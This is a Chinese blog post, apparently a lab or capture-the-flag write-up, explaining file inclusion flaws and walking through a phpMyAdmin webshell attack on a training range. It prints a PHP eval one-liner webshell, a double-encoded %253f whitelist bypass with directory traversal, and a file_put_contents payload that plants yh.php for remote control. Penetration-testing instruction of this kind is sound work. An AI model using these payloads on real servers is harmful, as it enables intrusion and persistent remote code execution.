本地包含与远程包含漏洞-phpmyadmin数据库后台getshell
本地包含与远程包含漏洞-phpmyadmin数据库后台getshell
文件包含漏洞
攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析)
一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
注:包含文件很有用,可以简化代码
文件包含分为本地和远程文件包含(需要allow_url_include = On)
本地文件包含LFI 远程文件包含 RFI
主要原理:
主要利用函数include($REQUEST[]),对于文件包含函数中接受传参的那部分,我们可以尝试改变传参使其执行(访问)一些文件,本次靶场使用的是PHPmyadmin写入一个文件(数据库里的一个表的一个字段为一句话木马),然后会存到/mysql/data目录下,然后在存在include()函数的页面使用../../../../../../../../../../跳到根目录,然后去访问我们新建的数据库的那个木马字段(因为是CMS白盒审计,所以我们知道数据库的访问路径),访问那个生成木马字段,就可以在上面显示PHPinfo()了,但是这个目录不可以连接菜刀,因为需要数据库密码账号登录,解决办法是:我们可以任意传参,再用a参数上传一个file_put_content(‘1.php’,$z)?>参数,在同级目录下生成php文件,就可以菜刀连接了。
上靶场:http://59.63.200.79:8010/lfi/phpmyadmin,密码账号都是root,然后登陆数据库后台:

然后新建一个老木马的数据库字段:


创建一个字段名:
<?php @eval($_REQUEST[‘hz’]);?>

添加一句话木马字段.然后去变量里找文件位置:

找到mysql的地址路径。
源码审计中得出include()函数页面接受url传参会解码一次,url的get型传参本身会对符号编码一次,传入之后在解码一次,所以这个地方进行了两次解码,我们的目的是解码两次后,传入后台时有”?(问号)”。

所以我们可以利用双重编码绕过,将?经过两次编码%253f就可以绕过白名单验证,当%253f 传入时,首先会被自动解码一次,变成%3f。然后urldecode()再解码一次,就变成了 ?。 成功绕过了白名单限制。

Phpinfo()成功。
然后传入生成木马PHP文件的参数(注意:$a = 这个参数很需要):$a = ‘<?php @eval($_REQUEST[\’z\’])?>’;file_put_contents(‘yh.php’,$a);echo ‘ok’;
Payload:59.63.200.79:8010/lfi/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../phpstudy/MYSQL/data/b/b.frm&hz=$a = ‘<?php @eval($_REQUEST[\’z\’])?>’;file_put_contents(‘yh.php’,$a);echo ‘ok’;
yh.php目录:http://59.63.200.79:8010/lfi/phpMyAdmin/yh.php
访问yh.php:

进入页面。
链接菜刀:

成功进入。

成功获得flag。
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!

浙公网安备 33010602011771号